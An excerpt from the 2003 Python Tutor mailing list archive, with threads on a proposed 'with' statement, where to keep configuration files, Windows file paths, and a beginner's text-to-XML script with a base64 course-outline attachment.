with foo.bar.baz.whatever:
     .item = 42
     .another = 27
     .save()
is more natural, more efficient, less error prone, more readable and more 
maintainable. And what would it cost to add this feature to Python?

One of my frustrations with proposing language enhancements are arguments 
from others that the proposal is not necessary. Well neither is the for 
statement. Everything it does can be implemented with the while statement. 
Yet someone deemed that a for statement "is more natural, more efficient 
and more readable." And the beauty if Python is its readability.

A similar argument came from the Visual FoxPro community around my proposal 
that an array could have a dimension of 0, e.g. be empty. In VFP arrays 
have at least one element, so when you need to have an empty array you have 
to add extra code to simulate this behavior. OTOH Python sequences can be 
empty.  Nice.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625



From idiot1@netzero.net  Mon Jun  9 13:18:02 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Mon Jun  9 12:18:02 2003
Subject: [Tutor] where to put configuration files
References: <20030606230552.GV1597@localhost.localdomain> <200306061804.00707.shalehperry@attbi.com> <20030607234146.GF1597@localhost.localdomain> <200306081155.00547.shalehperry@attbi.com>
Message-ID: <3EE4B285.507@netzero.net>

nonono! I am wide awake! :-)

The nice thing about all in one place is not only is it simple, it can be very easy to 
understand. In my sist server software, I only went with the idea of a /lists directory 
to help with understanding- tossing EVERYTHING in the web cgi-bin makes for a LOT of 
irrelevant files to wade through when doing manual maintence; you don't want to see a 
web cgi-bin with EVERYTHING in there? At least this way it's organized, only list 
related files are in the directory!  But the program has to find the configuration file 
before it finds the configeration file, and the simplest solution is he default of 
'right here with me'. ANY OTHER PLACE may or may not exist, but if the SCRIPT exists, 
the .cf file exists. RIGHT HERE (wherever THAT is). It's just POLITICALLY INCORRECT.

I also considered a more complex directory tree system with standard file names for each 
item needed, and a directory per list. To access a list's files, just change current 
directories, then run everything that way referring to the desired files. Alas, I was 
new to python, and that left me somewhat confused. I may yet adopt such scheme in a 
future edition. Although  it is a more complex directory tree, the file naming scheme is 
simpler, and standardized- which may make execution faster, as it does not need to build 
up file names for each access.


Sean 'Shaleh' Perry wrote:
>>>If you *EVER* intend this to be real software used by real users, yes
>>>/etc is the place to go.  It is probably a good idea to create a subdir
>>>and place the config in there.  Something like /etc/mypackage/foo.conf.
>>
>>R. Alan Monroe wrote me off this mailing list and pointed out that
>>Windows users have no /etc/ directory. Mac OS X users do.
>>
>
Well, I knew this was true of MS-DOS, and in my WINSLOW98 Pieceo'Crap desktop there is 
no /etc, but in it creating a new dir is easy. In a windows SERVER? hmmm...

> 
> since you referred to /etc I assumed (yes I know ...) you were only referring 
> to a Unix like operating system.

Yep. I am waiting to hear that Linux is as dependable and secure as my trusted FreeBSD,
but WITHER is VASTLY preferable to the enslavement goods of the dread lord of Redmond...

> 
> If you truly want to be portable here we go .....
ohboyohboyohboy...

> 
> a) easy case, store all of the program in one base dir as suggested.  Expected 
> behavior on Windows and I believe OS X.

okfine. UM, we put the list's files in with the scripts?!?

> 
> b) however, this is the WRONG behavior under a Unix like OS.  /usr is often 
> mounted read-only so your config once written could never be changed.

HMMMM....
> It 
> also prevents people from packaging the software and integrating it with the 
> rest of the OS (say for instance Debian, RedHat, NetBSD).
> 
> Therefore as Kirk mentions the best situation is to have the location of th 
> config defined as a variable and allow the installation procedure to indicate 
> where the config ends up.
>
Ah, BUT:
how does it find it?
To find it, one must tell it where it is.
To do this with a config file is a bootstrap problem.
To do this by hacking the script is a complexity issue for less than totally savvy 
installers.

To do this  by asuming it is RIGHT HERE WITH ME is a solution that is simple, reliable, 
and offers no additional burden to the novice.

It's just politically incorrect.

> Note this same discussion is relevant for logs, data and just about anything 
> else you write.
> 
> ** for the purists out there, let me settle the pedantic issues screaming in 
> your head.
> 
> Yes, old school Unix used to dump a program in /usr/lib/app.  As noted above 
> this prevents /usr being mounted read-only and also prevents proper 
> utilization of things like network mounted directories.  A modern approach to 
> this is to have a /opt hierarchy and each directory in /opt is like a 
> installation directory in OS X or Windows.  Just drop the whole thing there 
> and everything works.  However not everyone likes /opt or supports it fully 
> (the Linux Standards Base will slowly get the Linux community to support it 
> though).
> 
> If you like the all in one place philosophy or the spread out philosophy the 
> above suggestion allows for either.
> 
> Now that I have put everyone to sleep, back to your regularly scheduled 
> emails.


> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> 


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From idiot1@netzero.net  Mon Jun  9 13:37:01 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Mon Jun  9 12:37:01 2003
Subject: [Tutor] File path
References: <000101c32e05$5d414a60$afee7b43@homer3cq9tc2v2>
Message-ID: <3EE4B70A.1020509@netzero.net>

When it is in the current working directory (cwd), you don't. Just open the file.

When it is someplace else, it is pretty safe to declare the complete path.

f1=open('c:\my documents\foobot\foobot.config','r')

SOME operations permit relative addessing, but your milage may vary.

if os.exists('./lists/mylist'):
	do.something('yes')
else:
	do.something('no')

When it is in the cwd you do not declare a path at all:

f1=open('history.txt','r')

absolute addressing is safe and dependable. Odd that SOME functions allow relative 
addressing, and some don't.


Homer Ellison wrote:
> Hello,
>  
> I'm new to programming in Python (and to object-oriented programming in 
> general). The programming experience I have is from a long time ago, so 
> I'm going to have many questions.
>  
> How do I specify the file path within my code to access files for 
> reading and writing? I'm using a PC with 32-bit Windows.
>  
> Thank you,
> Homer
>  


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From mhansen@cso.atmel.com  Mon Jun  9 13:47:26 2003
From: mhansen@cso.atmel.com (Mike Hansen)
Date: Mon Jun  9 12:47:26 2003
Subject: [Tutor] With
In-Reply-To: <20030609160006.26187.25845.Mailman@mail.python.org>
References: <20030609160006.26187.25845.Mailman@mail.python.org>
Message-ID: <3EE4B9B7.60400@cso.atmel.com>

>From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
>To: <tutor@python.org>,
	"Bob Gailer" <bgailer@alum.rpi.edu>
>Subject: Re: [Tutor] (no subject)
>Date: Mon, 9 Jun 2003 05:09:23 +0100

[...]
>Bob,

>How would a with statement help in Python? I've seen this request
>often for C++ where it could be useful, but with Python's reference
>based naming I've never felt a need for a with in Python?

>I usually just use 'it' as a handy shortcut to any long chains:

>it = foo.bar.baz.whatever
>it.item = 42
>it.another = 27
>it.save()

with foo.bar.baz.whater:
    .item = 42
    .another = 27
    .save()

>and so on...

>What exactly would a 'with' do that an 'it' doesn't?

To me it'd be easier to follow and less noisy. YMMV.

>Alan G
>Author of the Learn to Program web tutor
>http://www.freenetpages.co.uk/hp/alan.gauld

Mike




From jeff@ccvcorp.com  Mon Jun  9 14:54:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun  9 13:54:02 2003
Subject: [Tutor] where to put configuration files
References: <20030606230552.GV1597@localhost.localdomain>
Message-ID: <3EE4C938.4020802@ccvcorp.com>

Paul Tremblay wrote:

>This configuration file is kind of a pain to have to maintain. Is it
>okay to just dump configuration files in /etc, or is this considered bad
>practice?
>  
>

The problem is that there is no good cross-platform way to store 
configuration files.  Unix (and unix-like OSes such as Linux and 
presumably Mac OS X) can store config information in /etc, or in the 
application directory, or even in the user's home directory.  Windows 
can have INI files in the application directory, in C:\Windows, or maybe 
even in C:\Windows\System (or System32), but are better off storing such 
configuration information within the registry.  

The wxWindows/wxPython cross-platform GUI library has a wxConfig class 
which transparently handles storage in the appropriate place.  The 
Python standard library has a ConfigParser module to assist in managing 
configuration files, but it looks to have a lot less cross-platform 
transparency than wxConfig (and doesn't look like it handles registry 
information at all).  Still, you may want to investigate ConfigParser, 
it might simplify your maintenance tasks.  (wxConfig will only simplify 
things if you're already using the wxPython library.)  

In general, I don't think you can do this safely cross-platform without 
doing a check of what platform you're running on, and using a different 
configuration back-end based on that.  However, if you're fairly 
confident that your script will only be running on Unix, you're probably 
fairly safe trying to write your config file somewhere into /etc 
(probably in an application-specific subdirectory, i.e. 
/etc/myapp/myapp.cfg).  Depending on the nature of the script, it might 
also be a good idea to allow it to fall back on a config file in the 
application's install directory (which might allow it to be installed in 
the home directory of someone without root privelidges).  One way to 
determine the install directory is to look at where your modules are 
being imported from -- IIRC, modules have a __file__ attribute that will 
give the path and filename that the module was loaded from.  It should 
be fairly easy to extract the path and use that as a location for a 
config file.

It does seem to me that a transparent cross-platform config manager, a 
la wxConfig, would be a very useful addition to the Python standard library.

Jeff Shannon
Technician/Programmer
Credit International




From tompol@hotmail.com  Mon Jun  9 20:42:01 2003
From: tompol@hotmail.com (Tom Brownlee)
Date: Mon Jun  9 19:42:01 2003
Subject: [Tutor] text to xml
Message-ID: <Law15-F96r45GHEer270002079c@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_42e5_6fe4_23b0
Content-Type: text/plain; format=flowed

hello there,

ive posted before about parsing a text file (a tertiary course outline) and 
having a output file of the course outline in xml format.

ive gone away and come up with the following python code, but it seems to 
lack something, and im not to sure what it is.

ive attached my code with the course outline for you (people) to play with.

what i have to do is convert all major headings (uppercase) and sub-headings 
into xml tags and leave the rest of the text as is.

WHAT AM I MISSING?????  to me it seemed feasible to work but it doesnt quite 
get there.

thankyou for your help

tom brownlee

_________________________________________________________________
Download MSN Messenger @  http://messenger.xtramsn.co.nz   - talk to family 
and friends overseas!

------=_NextPart_000_42e5_6fe4_23b0
Content-Type: text/plain; name="xml.py"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="xml.py"

import re

from xml.dom.minidom import *

def main(arg):
    #input argument txt file
    try:
        f = open(arg)
        #open the argument file
    except:
        print "cannot open file"
        #if not possible then print error

    #create a new parent Document
    newdocument = Document()
    #create a lower level tag
    rootElement = newdocument.createElement("Course Outline")
    #add the lower level tag to the parent Document
    newdocument.appendChild(rootElement)

    tagSequence = re.compile("(^\d+)\t+")
    while 1:
        line = f.readline()
        if len(line) == 0:
            break
        # remove end of line marker
        #s = line[:len(line)-1]
        s = line

        target = tagSequence.search(s)
        if target:
            #flag = 1
            s2 = re.search("\t", s) # find tab position within the string s
            # get substring from the end of the tab (span()gives the tab 
start and end position)
            result = s[s2.span()[1]:]
            newElement = newdocument.createElement(result)
            rootElement.appendChild(newElement)

    x = newdocument.toxml() # get the contents of the buffer (the set of 
tags) produced by toxml()
    f=open('CourseOutlineXML.xml', 'w')
    f.write(x)
    print x

if __name__ == '__main__':
    main("PR301CourseOutline2003.txt")



------=_NextPart_000_42e5_6fe4_23b0
Content-Type: application/octet-stream; name="PR301CourseOutline2003.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="PR301CourseOutline2003.txt"

//4xAAkAQwBPAFUAUgBTAEUAIABTAFQAQQBGAEYAIABNAEUATQBCAEUAUgBT
AA0ACgANAAoACQAoAGEAKQAJAEMAbwB1AHIAcwBlACAAQQBjAGEAZABlAG0A
aQBjACAAUwB0AGEAZgBmACAATQBlAG0AYgBlAHIADQAKAFIAbwBiACAATwBs
AGkAdgBlAHIAIAAtACAAUgBvAG8AbQAgAG4AdQBtAGIAZQByACAAUwA2ADYA
MgAuACAAIABDAG8AbgB0AGEAYwB0ACAAbgB1AG0AYgBlAHIAIAA5ADQAMAAg
ADgANQA1ADYADQAKAEUAbQBhAGkAbAA6ACAAIABvAGwAaQB2AGUAcgByAEAA
YwBwAGkAdAAuAGEAYwAuAG4AegANAAoADQAKAA0ACgAJACgAYgApAAkAUABy
AG8AZwByAGEAbQBtAGUAIABMAGUAYQBkAGUAcgANAAoADQAKAFQAcgBlAHYA
bwByACAATgBlAHMAYgBpAHQALAAgAFIAbwBvAG0AIABuAHUAbQBiAGUAcgAg
AE4AMgAxADUALgAgACAAQwBvAG4AdABhAGMAdAAgAG4AdQBtAGIAZQByACAA
OQA0ADAAIAA4ADcAMAAzAA0ACgBFAG0AYQBpAGwAOgAgACAAbgBlAHMAYgBp
AHQAdABAAGMAcABpAHQALgBhAGMALgBuAHoADQAKAA0ACgAoAGMAKQAJAEMA
bwB1AHIAcwBlACAAQwBvAC0AbwByAGQAaQBuAGEAdABvAHIADQAKAA0ACgBE
AHIAIABNAGkAawBlACAATABhAG4AYwBlACAALQAgAFIAbwBvAG0AIABuAHUA
bQBiAGUAcgAgAFMANgA2ADEAIABDAG8AbgB0AGEAYwB0ACAAbgB1AG0AYgBl
AHIAIAA5ADQAMAAgADgAMwAxADgADQAKAEUAbQBhAGkAbAA6ACAAbABhAG4A
YwBlAG0AQABjAHAAaQB0AC4AYQBjAC4AbgB6AA0ACgANAAoAKABkACkAIAAJ
AEgAZQBhAGQAIABvAGYAIABTAGMAaABvAG8AbAAgACgAQQBjAHQAaQBuAGcA
KQANAAoADQAKAAkACQBKAGEAbgBuAGUAIABSAG8AcwBzACwAIABSAG8AbwBt
ACAAbgB1AG0AYgBlAHIAIABTADEANwA2ACwAIABDAG8AbgB0AGEAYwB0ACAA
bgB1AG0AYgBlAHIAIAA5ADQAMAAgADgANQAzADcADQAKAEUAbQBhAGkAbAA6
ACAAIAByAG8AcwBzAGoAQABjAHAAaQB0AC4AYQBjAC4AbgB6AA0ACgANAAoA
MgAJAE0AQQBUAEUAUgBJAEEATABTAA0ACgANAAoACQBOAEkATAANAAoADQAK
AA0ACgAzAAkAQwBMAEEAUwBTACAASABPAFUAUgBTACAAQQBOAEQAIABUAEkA
TQBFAFMADQAKAA0ACgBEAGEAeQAJAFQAaQBtAGUACQBSAG8AbwBtAA0ACgBU
AHUAZQBzAGQAYQB5AAkAMQAwADoAMAAwACAALQAgADEAMgA6ADAAMAAJAFgA
MwAwADcADQAKAFQAaAB1AHIAcwBkAGEAeQAJADEAMAA6ADAAMAAgAC0AIAAx
ADIAOgAwADAACQBMADIANAA5AA0ACgANAAoADQAKADQACQBSAEUARgBFAFIA
RQBOAEMARQAgAFQATwAgAFMAVABVAEQARQBOAFQAIABIAEEATgBEAEIATwBP
AEsAUwANAAoADQAKAAkAUwB0AHUAZABlAG4AdABzACAAcwBoAG8AdQBsAGQA
IABvAGIAdABhAGkAbgAgAGEAIABjAG8AcAB5ACAAbwBmACAAdABoAGUAIABm
AG8AbABsAG8AdwBpAG4AZwANAAoADQAKAKfwCQBDAGgAcgBpAHMAdABjAGgA
dQByAGMAaAAgAFAAbwBsAHkAdABlAGMAaABuAGkAYwAgAFMAdAB1AGQAZQBu
AHQAIABIAGEAbgBkAGIAbwBvAGsADQAKAKfwCQBGAGEAYwB1AGwAdAB5ACAA
bwBmACAAQwBvAG0AbQBlAHIAYwBlACAAUwB0AHUAZABlAG4AdAAgAEgAYQBu
AGQAYgBvAG8AawANAAoAp/AJAFAAcgBvAGcAcgBhAG0AbQBlACAASABhAG4A
ZABiAG8AbwBrAA0ACgANAAoARQBhAGMAaAAgAG8AZgAgAHQAaABlAHMAZQAg
AGMAbwBuAHQAYQBpAG4AcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAgAHQA
bwAgAHMAdAB1AGQAZQBuAHQAcwAgAGEAYgBvAHUAdAAgAGEAIAByAGEAbgBn
AGUAIABvAGYAIABwAG8AbABpAGMAaQBlAHMAIABhAG4AZAAgAHAAcgBvAGMA
ZQBkAHUAcgBlAHMALgANAAoACQANAAoACQANAAoANQAJAFIARQBDAE8ARwBO
AEkAVABJAE8ATgAgAE8ARgAgAFAAUgBJAE8AUgAgAEwARQBBAFIATgBJAE4A
RwANAAoADQAKAAkAUgBQAEwAIAB3AGkAbABsACAAYgBlACAAYwBvAG4AcwBp
AGQAZQByAGUAZAAgAGEAYwBjAG8AcgBkAGkAbgBnACAAdABvACAAQwBoAHIA
aQBzAHQAYwBoAHUAcgBjAGgAIABQAG8AbAB5AHQAZQBjAGgAbgBpAGMAIABB
AGMAYQBkAGUAbQBpAGMAIABCAG8AYQByAGQAIAByAGUAcQB1AGkAcgBlAG0A
ZQBuAHQAcwAgAGkAbgAgAHQAZQByAG0AcwAgAG8AZgAgAGEAcwBzAGUAcwBz
AG0AZQBuAHQAIABwAHIAbwBjAGUAZAB1AHIAZQBzAC4AIABJAGYAIAB5AG8A
dQAgAGMAbwBuAHMAaQBkAGUAcgAgAHkAbwB1AHIAcwBlAGwAZgAgAHQAbwAg
AGgAYQB2AGUAIABhACAAYwB1AHIAcgBlAG4AdAAgAGMAbwBtAHAAZQB0AGUA
bgBjAHkAIABpAG4AIAB0AGgAaQBzACAAYwBvAHUAcgBzAGUALAAgAHkAbwB1
ACAAcwBoAG8AdQBsAGQAIABiAHIAaQBuAGcAIAB0AGgAaQBzACAAdABvACAA
dABoAGUAIABhAHQAdABlAG4AdABpAG8AbgAgAG8AZgAgAHkAbwB1AHIAIAB0
AHUAdABvAHIALwAgAGwAZQBjAHQAdQByAGUAcgAgAGEAbgBkACAAZABpAHMA
YwB1AHMAcwAgAHQAaABpAHMAIABvAHAAdABpAG8AbgAgAHcAaQB0AGgAIAB0
AGgAZQBtACAAaQBuACAAdABoAGUAIABmAGkAcgBzAHQAIABpAG4AcwB0AGEA
bgBjAGUALgANAAoADQAKAA0ACgA2AAkAQQBFAEcAUgBPAFQAQQBUACAAQQBQ
AFAATABJAEMAQQBUAEkATwBOAFMALwBJAE0AUABBAEkAUgBFAEQAIABQAEUA
UgBGAE8AUgBNAEEATgBDAEUALwAgAEEATABUAEUAUgBOAEEAVABJAFYARQAg
AEEAUwBTAEUAUwBTAE0ARQBOAFQAIABUAEkATQBFAFMADQAKAA0ACgBBAGUA
ZwByAG8AdABhAHQAIABjAG8AbgBzAGkAZABlAHIAYQB0AGkAbwBuACAAbQBh
AHkAIABiAGUAIAByAGUAcQB1AGUAcwB0AGUAZAAgAG8AbgBsAHkAIABiAGUA
YwBhAHUAcwBlACAAbwBmACAAaQBsAGwAbgBlAHMAcwAsACAAaQBuAGoAdQBy
AHkALAAgAGIAZQByAGUAYQB2AGUAbQBlAG4AdAAsACAAYwBoAGkAbABkAGIA
aQByAHQAaAAgAG8AcgAgAG8AdABoAGUAcgAgAGMAcgBpAHQAaQBjAGEAbAAg
AHAAZQByAHMAbwBuAGEAbAAgAGMAaQByAGMAdQBtAHMAdABhAG4AYwBlACAA
bwBjAGMAdQByAHIAaQBuAGcAIABvAG4AIABvAHIAIABpAG0AbQBlAGQAaQBh
AHQAZQBsAHkAIABwAHIAaQBvAHIAIAB0AG8AIAB0AGgAZQAgAGQAYQB5ACAA
bwBmACAAYQBzAHMAZQBzAHMAbQBlAG4AdAAuAA0ACgANAAoASQBuACAAYQBu
AHkAIABlAHYAZQBuAHQAIAB0AGgAZQAgAHMAdAB1AGQAZQBuAHQAIABzAGgA
bwB1AGwAZAAgAGEAdAB0AGUAbQBwAHQAIAB0AGgAZQAgAGEAcwBzAGUAcwBz
AG0AZQBuAHQAIABhAG4AZAAgAGMAbABhAGkAbQAgAGEAZQBnAHIAbwB0AGEA
dAAgAGMAbwBuAHMAaQBkAGUAcgBhAHQAaQBvAG4AIABmAG8AcgAgAGkAbQBw
AGEAaQByAGUAZAAgAHAAZQByAGYAbwByAG0AYQBuAGMAZQAuACAAIAANAAoA
DQAKAEkAZgAgAGEAIABzAHQAdQBkAGUAbgB0ACAAbQBpAHMAcwBlAHMAIABh
AG4AIABhAHMAcwBlAHMAcwBtAGUAbgB0ACAAbwByACAAYQBuACAAZQB4AGEA
bQAgACgAbwB0AGgAZQByACAAdABoAGEAbgAgAGEAIABmAGkAbgBhAGwAIABl
AHgAYQBtAGkAbgBhAHQAaQBvAG4AKQAgAGkAdAAgAG0AYQB5ACAAYgBlACAA
cABvAHMAcwBpAGIAbABlACAAdABvACAAcwBpAHQAIAB0AGgAZQAgAGEAcwBz
AGUAcwBzAG0AZQBuAHQAIABhAHQAIABhAG4AIABhAGwAdABlAHIAbgBhAHQA
ZQAgAHQAaQBtAGUAIAB3AGkAdABoAGkAbgAgAHMAZQB2AGUAbgAgAGQAYQB5
AHMAIABvAGYAIAB0AGgAZQAgAG8AcgBpAGcAaQBuAGEAbAAgAGEAcwBzAGUA
cwBzAG0AZQBuAHQAIABkAGEAdABlAC4AIAAgAEMAbwBuAHQAYQBjAHQAIAB0
AGgAZQAgAEYAYQBjAHUAbAB0AHkAIABvAGYAZgBpAGMAZQAgAGEAcwAgAHMA
bwBvAG4AIABhAHMAIABwAG8AcwBzAGkAYgBsAGUALgANAAoADQAKAFMAdAB1
AGQAZQBuAHQAcwAgAG0AdQBzAHQAIABwAHIAbwB2AGkAZABlACAAZABvAGMA
dQBtAGUAbgB0AGEAcgB5ACAAZQB2AGkAZABlAG4AYwBlACAAZgByAG8AbQAg
AGEAIABtAGUAZABpAGMAYQBsACAAcAByAGEAYwB0AGkAdABpAG8AbgBlAHIA
IABhAG4AZAAgAGMAbwBtAHAAbABlAHQAZQAgAHQAaABlACAAYQBwAHAAcgBv
AHAAcgBpAGEAdABlACAAZgBvAHIAbQBzACAAYQB2AGEAaQBsAGEAYgBsAGUA
IABmAHIAbwBtACAAdABoAGUAIABGAGEAYwB1AGwAdAB5ACAAbwBmAGYAaQBj
AGUAIABhAHMAIABzAG8AbwBuACAAYQBzACAAcABvAHMAcwBpAGIAbABlACAA
dwBpAHQAaABpAG4AIAB0AGgAZQAgAHMAZQB2AGUAbgAgAGQAYQB5ACAAcABl
AHIAaQBvAGQALgANAAoADQAKAEYAdQBsAGwAIABkAGUAdABhAGkAbABzACAA
YQByAGUAIABpAG4AIAB0AGgAZQAgAFMAdAB1AGQAZQBuAHQAIABIAGEAbgBk
AGIAbwBvAGsADQAKAA0ACgANAAoANwAJAEQASQBTAEgATwBOAEUAUwBUACAA
UABSAEEAQwBUAEkAQwBFAFMADQAKAA0ACgBDAGgAZQBhAHQAaQBuAGcALAAg
AHAAbABhAGcAaQBhAHIAaQBzAG0AIABhAG4AZAAgAG8AdABoAGUAcgAgAGQA
aQBzAGgAbwBuAGUAcwB0ACAAYQBjAGEAZABlAG0AaQBjACAAcAByAGEAYwB0
AGkAYwBlAHMAIABoAGEAdgBlACAAcwBlAHIAaQBvAHUAcwAgAGMAbwBuAHMA
ZQBxAHUAZQBuAGMAZQBzACAAaQBuACAAdABoAGkAcwAgAGMAbwB1AHIAcwBl
ACAAYQBuAGQAIABzAHQAdQBkAGUAbgB0AHMAIAB3AGgAbwAgAGYAYQBpAGwA
IAB0AG8AIABjAG8AbQBwAGwAeQAgAHcAaQB0AGgAIABhAGMAYwBlAHAAdABh
AGIAbABlACAAYgBlAGgAYQB2AGkAbwB1AHIAIAB3AGkAbABsACAAYgBlACAA
cwB1AGIAagBlAGMAdAAgAHQAbwAgAHMAZQB2AGUAcgBlACAAcABlAG4AYQBs
AHQAaQBlAHMALAAgAHcAaABpAGMAaAAgAG0AYQB5ACAAaQBuAGMAbAB1AGQA
ZQAgAGEAIABmAGEAaQBsACAAZwByAGEAZABlACAAaQBuACAAdABoAGUAaQBy
ACAAcwB0AHUAZABlAG4AdAAgAHIAZQBjAG8AcgBkACwAIABwAHIAbwBiAGEA
dABpAG8AbgAgAG8AcgAgAHMAdQBzAHAAZQBuAHMAaQBvAG4AIABmAHIAbwBt
ACAAdABoAGUAIABwAHIAbwBnAHIAYQBtAG0AZQAuAA0ACgANAAoAQwBoAGUA
YQB0AGkAbgBnACAAbQBlAGEAbgBzACAAYQBjAHQAaQBuAGcAIABkAGUAYwBl
AGkAdABmAHUAbABsAHkAIABvAHIAIABkAGkAcwBoAG8AbgBlAHMAdABsAHkA
IAB0AG8AIABnAGEAaQBuACAAYQBjAGEAZABlAG0AaQBjACAAcgBlAGMAbwBn
AG4AaQB0AGkAbwBuACAAbwByACAAYQBuACAAYQBjAGEAZABlAG0AaQBjACAA
cgBlAHMAdQBsAHQALgAgACAAQwBoAGUAYQB0AGkAbgBnACAAbQBhAHkAIABp
AG4AYwBsAHUAZABlACAAYwBvAHAAeQBpAG4AZwAgAGEAbgBzAHcAZQByAHMA
IABmAHIAbwBtACAAYQBuAG8AdABoAGUAcgAgAHMAdAB1AGQAZQBuAHQALAAg
AHQAYQBrAGkAbgBnACAAdQBzAGUAZgB1AGwAIABpAG4AZgBvAHIAbQBhAHQA
aQBvAG4AIABzAGUAYwByAGUAdABsAHkAIABpAG4AdABvACAAYQAgAHQAZQBz
AHQAIABvAHIAIABlAHgAYQBtACwAIABvAHIAIABhAHIAcgBhAG4AZwBpAG4A
ZwAgAGYAbwByACAAcwBvAG0AZQBvAG4AZQAgAGUAbABzAGUAIAB0AG8AIABw
AHIAbwBkAHUAYwBlACAAYQBuACAAYQBzAHMAaQBnAG4AbQBlAG4AdAAgAG8A
cgAgAHQAbwAgAHMAaQB0ACAAYQAgAHQAZQBzAHQAIABvAHIAIABlAHgAYQBt
AC4ADQAKAA0ACgBQAGwAYQBnAGkAYQByAGkAcwBtACAAbQBlAGEAbgBzACAA
YwBvAHAAeQBpAG4AZwAsACAAdABhAGsAaQBuAGcAIABvAHIAIAB1AHMAaQBu
AGcAIABzAG8AbQBlAG8AbgBlACAAZQBsAHMAZQAZIHMAIAB3AG8AcgBrACAA
bwByACAAaQBkAGUAYQBzACAAYQBuAGQAIABwAHIAZQBzAGUAbgB0AGkAbgBn
ACAAdABoAGUAbQAgAGEAcwAgAGkAZgAgAHQAaABlAHkAIAB3AGUAcgBlACAA
bwBuAGUAGSBzACAAbwB3AG4AIABvAHIAaQBnAGkAbgBhAGwAIAB3AG8AcgBr
ACAAbwByACAAdABoAG8AdQBnAGgAdAAsACAAdwBpAHQAaABvAHUAdAAgAGMA
bABlAGEAcgAgAGEAYwBrAG4AbwB3AGwAZQBkAGcAZQBtAGUAbgB0ACAAbwBm
ACAAdABoAGUAIABhAGMAdAB1AGEAbAAgAHMAbwB1AHIAYwBlAC4ADQAKAA0A
CgBSAGUAZgBlAHIAZQBuAGMAZQAgAG0AZQBhAG4AcwAgAGEAIAB3AHIAaQB0
AHQAZQBuACAAcwB0AGEAdABlAG0AZQBuAHQAIABkAGUAcwBjAHIAaQBiAGkA
bgBnACwAIABpAG4AIABhACAAcABhAHIAdABpAGMAdQBsAGEAcgAgAGYAbwBy
AG0AYQB0ACwAIABhAG4AeQAgAHcAbwByAGsALAAgAGIAbwBvAGsALAAgAGoA
bwB1AHIAbgBhAGwAIABhAHIAdABpAGMAbABlACwAIABvAHIAIABwAHIAaQB2
AGEAdABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgAHUAcwBlAGQA
IAB3AGgAZQBuACAAdwByAGkAdABpAG4AZwAgAGEAbgAgAGUAcwBzAGEAeQAs
ACAAbwByACAAcgBlAHAAbwByAHQAIABlAHQAYwAuACAAIABSAGUAZgBlAHIA
IAB0AG8AIABGAGEAYwB1AGwAdAB5ACAAbwBmACAAQwBvAG0AbQBlAHIAYwBl
ACAAUwB0AHUAZABlAG4AdAAgAEgAYQBuAGQAYgBvAG8AawAgAGYAbwByACAA
aQBuAGYAbwByAG0AYQB0AGkAbwBuACAAbwBuACAAHCBSAGUAZgBlAHIAZQBu
AGMAaQBuAGcAIABNAGUAdABoAG8AZABzAB0gLgANAAoADQAKAEEAIABjAG8A
bgBkAGkAdABpAG8AbgAgAG8AZgAgAGUAbgByAG8AbABtAGUAbgB0ACAAYQB0
ACAAQwBQAEkAVAAgAGkAcwAgAHQAaABhAHQAIABzAHQAdQBkAGUAbgB0AHMA
IAB3AGkAbABsACAAYwBvAG0AcABsAHkAIAB3AGkAdABoACAAdABoAGUAIABT
AHQAYQB0AHUAdABlAHMALAAgAFIAZQBnAHUAbABhAHQAaQBvAG4AcwAgAGEA
bgBkACAAUgB1AGwAZQBzACAAbwBmACAAQwBQAEkAVAAsACAAdwBoAGkAYwBo
ACAAaQBuAGMAbAB1AGQAZQAgAHQAaABlACAAcABvAGwAaQBjAHkAIAAcIFAA
bABhAGcAaQBhAHIAaQBzAG0ALAAgAEMAaABlAGEAdABpAG4AZwAgAGEAbgBk
ACAAbwB0AGgAZQByACAARABpAHMAaABvAG4AZQBzAHQAIABQAHIAYQBjAHQA
aQBjAGUAcwAdIC4AIAAgAFQAaABpAHMAIABwAG8AbABpAGMAeQAgAGkAcwAg
AGkAbgAgAHQAaABlACAAUwB0AHUAZABlAG4AdABzABkgIABQAG8AbABpAGMA
eQAgAE0AYQBuAHUAYQBsACwAIAB3AGgAaQBjAGgAIABtAGEAeQAgAGIAZQAg
AGEAYwBjAGUAcwBzAGUAZAAgAGkAbgAgAHQAaABlACAARgBhAGMAdQBsAHQA
eQAgAHIAZQBjAGUAcAB0AGkAbwBuACAAbwBmAGYAaQBjAGUAIABTADEANQAz
AC4ADQAKAA0ACgANAAoAOAAJAFIARQBGAEUAUgBFAE4AQwBJAE4ARwANAAoA
DQAKAFAAbABlAGEAcwBlACAAcgBlAGYAZQByACAAdABvACAAQwBvAG0AbQBl
AHIAYwBlACAAUwB0AHUAZABlAG4AdAAgAEgAYQBuAGQAYgBvAG8AawAgAGYA
bwByACAAZgB1AGwAbAAgAGQAZQB0AGEAaQBsAHMALgANAAoADQAKAEUAWABB
AE0AUABMAEUAUwAgAE8ARgAgAFIARQBRAFUASQBSAEUARAAgAEYATwBSAE0A
QQBUACAAQQBSAEUAOgANAAoADQAKAE0AYQBnAGEAegBpAG4AZQAgAGEAcgB0
AGkAYwBsAGUADQAKAA0ACgBUAGgAbwBtAHAAcwBvAG4ALAAgAEQALgAgACAA
KAAxADkAOQA5ACwAIABBAHUAZwB1AHMAdAAgADkAKQAuACAAIABDAGEAcABp
